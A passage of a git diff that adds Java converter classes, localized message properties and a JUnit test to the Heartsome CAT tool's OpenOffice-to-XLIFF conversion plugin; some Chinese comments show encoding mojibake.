outputter.preserveSpace(true); + FileOutputStream output = new FileOutputStream(xliff); + outputter.output(merged, output); + output.close(); + result.put(Converter.ATTR_XLIFF_FILE, xliff); + + monitor.worked(1); + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("openoffice.OpenOffice2Xliff.msg2"), e); + } finally { + monitor.done(); + } + return result; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/Xliff2OpenOffice.java b/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/Xliff2OpenOffice.java new file mode 100644 index 0000000..afd50cc --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/Xliff2OpenOffice.java @@ -0,0 +1,419 @@ +/** + * Xliff2OpenOffice.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.openoffice; + +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.OutputStreamWriter; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.zip.ZipEntry; +import java.util.zip.ZipFile; +import java.util.zip.ZipInputStream; +import java.util.zip.ZipOutputStream; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.openoffice.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; +import net.heartsome.util.StringConverter; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; +import net.heartsome.xml.XMLOutputter; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * The Class Xliff2OpenOffice. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Xliff2OpenOffice implements Converter { + + private static final Logger LOGGER = LoggerFactory.getLogger(Xliff2OpenOffice.class); + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "x-openoffice"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("openoffice.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to OpenOffice Conveter"; + + // 内部实现所ä¾èµ–的转æ¢å™¨ + /** The dependant converter. */ + private Converter dependantConverter; + + /** + * for test to initialize depend on converter. + */ + public Xliff2OpenOffice() { + dependantConverter = Activator.getXMLConverter(Converter.DIRECTION_REVERSE); + } + + /** + * è¿è¡Œæ—¶æŠŠæ‰€ä¾èµ–的转æ¢å™¨ï¼Œåœ¨åˆå§‹åŒ–的时候通过构造函数注入。. + * @param converter + * the converter + */ + public Xliff2OpenOffice(Converter converter) { + dependantConverter = converter; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2OpenOfficeImpl converter = new Xliff2OpenOfficeImpl(); + return converter.run(args, monitor); + } + + /** + * The Class Xliff2OpenOfficeImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xliff2OpenOfficeImpl { + + /** The files table. */ + private Hashtable filesTable; + + /** The is embedded. */ + private boolean isEmbedded = false; + + /** The catalogue. */ + private String catalogue; + + private boolean isInfoEnabled = LOGGER.isInfoEnabled(); + + /** + * Builds the doc. + * @param filename + * the filename + * @return the document + * @throws Exception + * the exception + */ + public Document buildDoc(String filename) throws Exception { + SAXBuilder builder = new SAXBuilder(); + builder.setEntityResolver(new Catalogue(catalogue)); + Document doc = builder.build(filename); + return doc; + } + + /** + * Creates the empty doc. + * @param filename + * the filename + * @return the document + * @throws Exception + * the exception + */ + public Document createEmptyDoc(String filename) throws Exception { + File file = new File(filename); + FileOutputStream fos = new FileOutputStream(file); + OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8"); //$NON-NLS-1$ + BufferedWriter bw = new BufferedWriter(osw); + + bw.write("\n"); //$NON-NLS-1$ + bw.write("\n"); //$NON-NLS-1$ + bw.write("\n"); //$NON-NLS-1$ + + bw.flush(); + bw.close(); + osw.close(); + fos.close(); + bw = null; + osw = null; + fos = null; + + return buildDoc(filename); + } + + /** + * Save file. + * @param element + * the element + * @throws Exception + * the exception + */ + private void saveFile(Element element) throws Exception { + File xliff = File.createTempFile("tmp", ".xlf"); //$NON-NLS-1$ //$NON-NLS-2$ + Document doc = createEmptyDoc(xliff.getAbsolutePath()); + Element root = doc.getRootElement(); + root.setAttribute("version", "1.2"); //$NON-NLS-1$ //$NON-NLS-2$ + Element file = new Element("file", doc); //$NON-NLS-1$ + file.clone(element, doc); + root.addContent(file); + + List groups = file.getChild("header").getChildren("hs:prop-group"); //$NON-NLS-1$ //$NON-NLS-2$ + Iterator i = groups.iterator(); + while (i.hasNext()) { + Element group = i.next(); + if (group.getAttributeValue("name").equals("document")) { //$NON-NLS-1$ //$NON-NLS-2$ + filesTable.put(group.getChild("hs:prop").getText(), xliff.getAbsolutePath()); //$NON-NLS-1$ + } + } + if (file.getChild("header").getChild("skl").getChild("external-file") == null) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + // embedded skeleton + file.getChild("header").getChild("skl").addContent(new Element("external-file", doc)); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + isEmbedded = true; + } + file + .getChild("header").getChild("skl").getChild("external-file").setAttribute("href", xliff.getAbsolutePath() + ".skl"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ + XMLOutputter outputter = new XMLOutputter(); + FileOutputStream output = new FileOutputStream(xliff.getAbsolutePath()); + outputter.output(doc, output); + output.close(); + outputter = null; + } + + /** + * Run. + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map args, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + Map result = new HashMap(); + String xliffFile = args.get(Converter.ATTR_XLIFF_FILE); + String outputFile = args.get(Converter.ATTR_TARGET_FILE); + catalogue = args.get(Converter.ATTR_CATALOGUE); + filesTable = new Hashtable(); + try { + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºä¸‰éƒ¨åˆ†å…± 20 个任务,其中分离出å„个 xliff æ–‡ä»¶å  8,分离出 skeleton æ–‡ä»¶å  2,生æˆç›®æ ‡æ–‡ä»¶å  10。 + monitor.beginTask("", 20); + infoLogger.logConversionFileInfo(catalogue, null, xliffFile, null); + + IProgressMonitor separateMonitor = Progress.getSubMonitor(monitor, 8); + long startTime = 0; + try { + if (isInfoEnabled) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("openoffice.Xliff2OpenOffice.logger1"), startTime); + } + SAXBuilder builder = new SAXBuilder(); + Document doc = builder.build(xliffFile); + Element root = doc.getRootElement(); + List files = root.getChildren("file"); //$NON-NLS-1$ + + separateMonitor.beginTask(Messages.getString("openoffice.Xliff2OpenOffice.task2"), files.size()); + separateMonitor.subTask(""); + Iterator it = files.iterator(); + while (it.hasNext()) { + saveFile(it.next()); + // 是å¦å–消æ“作 + if (separateMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("openoffice.cancel")); + } + separateMonitor.worked(1); + } + } finally { + separateMonitor.done(); + } + long endTime = 0; + if (isInfoEnabled) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("openoffice.Xliff2OpenOffice.logger2"), endTime); + LOGGER.info(Messages.getString("openoffice.Xliff2OpenOffice.logger3"), endTime - startTime); + } + + monitor.subTask(Messages.getString("openoffice.Xliff2OpenOffice.task3")); + if (isInfoEnabled) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("openoffice.Xliff2OpenOffice.logger4"), startTime); + } + String skeleton = args.get(Converter.ATTR_SKELETON_FILE); + if (isEmbedded) { + File t = File.createTempFile("tmp", ".skl"); //$NON-NLS-1$ //$NON-NLS-2$ + StringConverter.decodeFile(skeleton, t.getAbsolutePath()); + skeleton = t.getAbsolutePath(); + } + if (isInfoEnabled) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("openoffice.Xliff2OpenOffice.logger5"), endTime); + LOGGER.info(Messages.getString("openoffice.Xliff2OpenOffice.logger6"), endTime - startTime); + } + monitor.worked(2); + + IProgressMonitor conversionMonitor = Progress.getSubMonitor(monitor, 10); + try { + ZipFile zipFile = new ZipFile(skeleton); + int totalTask = zipFile.size(); + conversionMonitor.beginTask("", totalTask); + if (isInfoEnabled) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("openoffice.Xliff2OpenOffice.logger7"), startTime); + } + ZipInputStream in = new ZipInputStream(new FileInputStream(skeleton)); + ZipOutputStream out = new ZipOutputStream(new FileOutputStream(outputFile)); + ZipEntry entry = null; + String messagePattern = Messages.getString("openoffice.Xliff2OpenOffice.msg1"); + while ((entry = in.getNextEntry()) != null) { + // 标识是å¦å§”派其它转æ¢å™¨è¿›è¡Œäº†å¤„ç† + boolean isDelegate = false; + // 是å¦å–消 + if (conversionMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("openoffice.cancel")); + } + String message = MessageFormat.format(messagePattern, new Object[] { entry.getName() }); + conversionMonitor.subTask(message); + + if (entry.getName().matches(".*\\.[xX][mM][lL]\\.skl")) { //$NON-NLS-1$ + String name = entry.getName().substring(0, entry.getName().lastIndexOf(".skl")); //$NON-NLS-1$ + File tmp = new File(filesTable.get(name) + ".skl"); //$NON-NLS-1$ + FileOutputStream output = new FileOutputStream(tmp.getAbsolutePath()); + byte[] buf = new byte[1024]; + int len; + while ((len = in.read(buf)) > 0) { + output.write(buf, 0, len); + } + output.close(); + Hashtable table = new Hashtable(); + table.put(Converter.ATTR_XLIFF_FILE, filesTable.get(name)); + table.put(Converter.ATTR_TARGET_FILE, filesTable.get(name) + ".xml"); + table.put(Converter.ATTR_CATALOGUE, catalogue); + table.put(Converter.ATTR_SKELETON_FILE, filesTable.get(name) + ".skl"); + Map res = dependantConverter.convert(table, Progress.getSubMonitor( + separateMonitor, 1)); + isDelegate = true; + if (res.get(Converter.ATTR_TARGET_FILE) == null) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("openoffice.Xliff2OpenOffice.msg2")); + } + ZipEntry content = new ZipEntry(name); + content.setMethod(ZipEntry.DEFLATED); + out.putNextEntry(content); + FileInputStream input = new FileInputStream(filesTable.get(name) + ".xml"); //$NON-NLS-1$ + while ((len = input.read(buf)) > 0) { + out.write(buf, 0, len); + } + out.closeEntry(); + input.close(); + tmp.delete(); + File xml = new File(filesTable.get(name) + ".xml"); //$NON-NLS-1$ + xml.delete(); + File xlf = new File(filesTable.get(name)); + xlf.delete(); + } else { + File tmp = File.createTempFile("entry", ".tmp"); //$NON-NLS-1$ //$NON-NLS-2$ + FileOutputStream output = new FileOutputStream(tmp.getAbsolutePath()); + byte[] buf = new byte[1024]; + int len; + while ((len = in.read(buf)) > 0) { + output.write(buf, 0, len); + } + output.close(); + ZipEntry content = new ZipEntry(entry.getName()); + content.setMethod(ZipEntry.DEFLATED); + out.putNextEntry(content); + FileInputStream input = new FileInputStream(tmp.getAbsolutePath()); + while ((len = input.read(buf)) > 0) { + out.write(buf, 0, len); + } + out.closeEntry(); + input.close(); + tmp.delete(); + } + if (!isDelegate) { + conversionMonitor.worked(1); + } + } + out.close(); + } finally { + conversionMonitor.done(); + } + if (isInfoEnabled) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("openoffice.Xliff2OpenOffice.logger8"), endTime); + LOGGER.info(Messages.getString("openoffice.Xliff2OpenOffice.logger9"), endTime - startTime); + } + if (isEmbedded) { + File f = new File(skeleton); + f.delete(); + } + result.put(Converter.ATTR_TARGET_FILE, outputFile); + } catch (OperationCanceledException e) { + throw e; + } catch (ConverterException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("openoffice.Xliff2OpenOffice.msg2"), e); + } finally { + monitor.done(); + } + infoLogger.endConversion(); + return result; + } + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/resource/Messages.java new file mode 100644 index 0000000..8197f51 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/resource/Messages.java @@ -0,0 +1,48 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.openoffice.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.openoffice.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/resource/message.properties b/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/resource/message.properties new file mode 100644 index 0000000..496a895 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/resource/message.properties @@ -0,0 +1,24 @@ +#openoffice.OpenOffice2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +openoffice.OpenOffice2Xliff.task2 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... +openoffice.OpenOffice2Xliff.msg1 = \u6b63\u5728\u5904\u7406\u6587\u4ef6 {0}... +openoffice.OpenOffice2Xliff.msg2 = OpenOffice \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +#openoffice.Xliff2OpenOffice.task1 = \u6b63\u5728\u8f6c\u6362... +openoffice.Xliff2OpenOffice.task2 = \u6b63\u5728\u62bd\u53d6\u6587\u672c... +openoffice.Xliff2OpenOffice.task3 = \u6b63\u5728\u521b\u5efa\u9aa8\u67b6\u6587\u4ef6... +#openoffice.Xliff2OpenOffice.task4 = \u6b63\u5728\u8f6c\u6362\u6587\u4ef6... +openoffice.Xliff2OpenOffice.msg1 = \u6b63\u5728\u5904\u7406\u6587\u4ef6 {0}... +openoffice.Xliff2OpenOffice.msg2 = XLIFF \u8f6c\u6362 OpenOffice \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +openoffice.Xliff2OpenOffice.logger1 = [LOG] \u5f00\u59cb\u62bd\u53d6\u6587\u672c\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger2 = [LOG] \u62bd\u53d6\u6587\u672c\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger3 = [LOG] \u62bd\u53d6\u6587\u672c\u5171\u7528\u65f6\uff1a{} +openoffice.Xliff2OpenOffice.logger4 = [LOG] \u521b\u5efa\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger5 = [LOG] \u521b\u5efa\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger6 = [LOG] \u521b\u5efa\u9aa8\u67b6\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} +openoffice.Xliff2OpenOffice.logger7 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger8 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger9 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +openoffice.TYPE_NAME_VALUE = OpenOffice \u6587\u6863 (ODT, ODS, ODP, ODG) +openoffice.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/resource/message_en.properties b/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/resource/message_en.properties new file mode 100644 index 0000000..6d93ad1 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/resource/message_en.properties @@ -0,0 +1,24 @@ +#openoffice.OpenOffice2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +openoffice.OpenOffice2Xliff.task2 = Generating XLIFF files... +openoffice.OpenOffice2Xliff.msg1 = Processing {0}... +openoffice.OpenOffice2Xliff.msg2 = Failed to convert OpenOffice file to XLIFF. Please try again. + +#openoffice.Xliff2OpenOffice.task1 = \u6b63\u5728\u8f6c\u6362... +openoffice.Xliff2OpenOffice.task2 = Extracting translatable text... +openoffice.Xliff2OpenOffice.task3 = Creating skeleton file... +#openoffice.Xliff2OpenOffice.task4 = \u6b63\u5728\u8f6c\u6362\u6587\u4ef6... +openoffice.Xliff2OpenOffice.msg1 = Processing {0}... +openoffice.Xliff2OpenOffice.msg2 = Failed to convert XLIFF to OpenOffice file. Please try again. +openoffice.Xliff2OpenOffice.logger1 = [LOG] \u5f00\u59cb\u62bd\u53d6\u6587\u672c\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger2 = [LOG] \u62bd\u53d6\u6587\u672c\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger3 = [LOG] \u62bd\u53d6\u6587\u672c\u5171\u7528\u65f6\uff1a{} +openoffice.Xliff2OpenOffice.logger4 = [LOG] \u521b\u5efa\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger5 = [LOG] \u521b\u5efa\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger6 = [LOG] \u521b\u5efa\u9aa8\u67b6\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} +openoffice.Xliff2OpenOffice.logger7 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger8 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger9 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +openoffice.TYPE_NAME_VALUE = OpenOffice files (ODT, ODS, ODP, ODG) +openoffice.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/resource/message_zh.properties b/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/resource/message_zh.properties new file mode 100644 index 0000000..496a895 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.openoffice/src/net/heartsome/cat/converter/openoffice/resource/message_zh.properties @@ -0,0 +1,24 @@ +#openoffice.OpenOffice2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +openoffice.OpenOffice2Xliff.task2 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... +openoffice.OpenOffice2Xliff.msg1 = \u6b63\u5728\u5904\u7406\u6587\u4ef6 {0}... +openoffice.OpenOffice2Xliff.msg2 = OpenOffice \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +#openoffice.Xliff2OpenOffice.task1 = \u6b63\u5728\u8f6c\u6362... +openoffice.Xliff2OpenOffice.task2 = \u6b63\u5728\u62bd\u53d6\u6587\u672c... +openoffice.Xliff2OpenOffice.task3 = \u6b63\u5728\u521b\u5efa\u9aa8\u67b6\u6587\u4ef6... +#openoffice.Xliff2OpenOffice.task4 = \u6b63\u5728\u8f6c\u6362\u6587\u4ef6... +openoffice.Xliff2OpenOffice.msg1 = \u6b63\u5728\u5904\u7406\u6587\u4ef6 {0}... +openoffice.Xliff2OpenOffice.msg2 = XLIFF \u8f6c\u6362 OpenOffice \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +openoffice.Xliff2OpenOffice.logger1 = [LOG] \u5f00\u59cb\u62bd\u53d6\u6587\u672c\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger2 = [LOG] \u62bd\u53d6\u6587\u672c\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger3 = [LOG] \u62bd\u53d6\u6587\u672c\u5171\u7528\u65f6\uff1a{} +openoffice.Xliff2OpenOffice.logger4 = [LOG] \u521b\u5efa\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger5 = [LOG] \u521b\u5efa\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger6 = [LOG] \u521b\u5efa\u9aa8\u67b6\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} +openoffice.Xliff2OpenOffice.logger7 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger8 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +openoffice.Xliff2OpenOffice.logger9 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +openoffice.TYPE_NAME_VALUE = OpenOffice \u6587\u6863 (ODT, ODS, ODP, ODG) +openoffice.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.openoffice/testSrc/net/heartsome/cat/converter/openoffice/test/OpenOffice2XliffTest.java b/hsconverter/net.heartsome.cat.converter.openoffice/testSrc/net/heartsome/cat/converter/openoffice/test/OpenOffice2XliffTest.java new file mode 100644 index 0000000..ccd6701 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.openoffice/testSrc/net/heartsome/cat/converter/openoffice/test/OpenOffice2XliffTest.java @@ -0,0 +1,196 @@ +package net.heartsome.cat.converter.openoffice.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.openoffice.OpenOffice2Xliff; + +import org.junit.BeforeClass; +import org.junit.Test; + +public class OpenOffice2XliffTest { + public static OpenOffice2Xliff converter = new OpenOffice2Xliff(); + private static String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + private static String srcODTFile = "rc/Test.odt"; + private static String xlfODTFile = "rc/Test.odt.xlf"; + private static String sklODTFile = "rc/Test.odt.skl"; + + private static String srcODSFile = "rc/Test.ods"; + private static String xlfODSFile = "rc/Test.ods.xlf"; + private static String sklODSFile = "rc/Test.ods.skl"; + + private static String srcODGFile = "rc/Test.odg"; + private static String xlfODGFile = "rc/Test.odg.xlf"; + private static String sklODGFile = "rc/Test.odg.skl"; + + @BeforeClass + public static void setUp() { + File xlf = new File(xlfODTFile); + if (xlf.exists()) { + xlf.delete(); + } + + File skl = new File(sklODTFile); + if (skl.exists()) { + skl.delete(); + } + + xlf = new File(xlfODSFile); + if (xlf.exists()) { + xlf.delete(); + } + + skl = new File(sklODSFile); + if (skl.exists()) { + skl.delete(); + } + + xlf = new File(xlfODGFile); + if (xlf.exists()) { + xlf.delete(); + } + + skl = new File(sklODGFile); + if (skl.exists()) { + skl.delete(); + } + } + + // + // @Test(expected = ConverterException.class) + // public void testConvertMissingCatalog() throws ConverterException { + // Map args = new HashMap(); + // args.put(Converter.ATTR_SOURCE_FILE, srcODTFile); //$NON-NLS-1$ + // args.put(Converter.ATTR_XLIFF_FILE, xlfODTFile); //$NON-NLS-1$ + // args.put(Converter.ATTR_SKELETON_FILE, sklODTFile); //$NON-NLS-1$ + // args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + // args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + // // args.put(Converter.ATTR_CATALOGUE, rootFolder + + // // "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + // args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + // + // Map result = converter.convert(args, null); + // String xliff = result.get(Converter.ATTR_XLIFF_FILE); + // assertNotNull(xliff); + // + // File xlfFile = new File(xliff); + // assertNotNull(xlfFile); + // assertTrue(xlfFile.exists()); + // } + // + // @Test(expected = ConverterException.class) + // public void testConvertMissingSRX() throws ConverterException { + // Map args = new HashMap(); + // args.put(Converter.ATTR_SOURCE_FILE, srcODTFile); //$NON-NLS-1$ + // args.put(Converter.ATTR_XLIFF_FILE, xlfODTFile); //$NON-NLS-1$ + // args.put(Converter.ATTR_SKELETON_FILE, sklODTFile); //$NON-NLS-1$ + // args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + // args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + // args.put(Converter.ATTR_CATALOGUE, rootFolder + // + "catalogue/catalogue.xml"); + // // args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + // args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + // + // Map result = converter.convert(args, null); + // String xliff = result.get(Converter.ATTR_XLIFF_FILE); + // assertNotNull(xliff); + // + // File xlfFile = new File(xliff); + // assertNotNull(xlfFile); + // assertTrue(xlfFile.exists()); + // } + // + // @Test(expected = ConverterException.class) + // public void testConvertMissingINI() throws ConverterException { + // Map args = new HashMap(); + // args.put(Converter.ATTR_SOURCE_FILE, srcODTFile); //$NON-NLS-1$ + // args.put(Converter.ATTR_XLIFF_FILE, xlfODTFile); //$NON-NLS-1$ + // args.put(Converter.ATTR_SKELETON_FILE, sklODTFile); //$NON-NLS-1$ + // args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + // args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + // args.put(Converter.ATTR_CATALOGUE, rootFolder + // + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + // // args.put(Converter.ATTR_PROGRAM_FOLDER,rootFolder); + // + // Map result = converter.convert(args, null); + // String xliff = result.get(Converter.ATTR_XLIFF_FILE); + // assertNotNull(xliff); + // + // File xlfFile = new File(xliff); + // 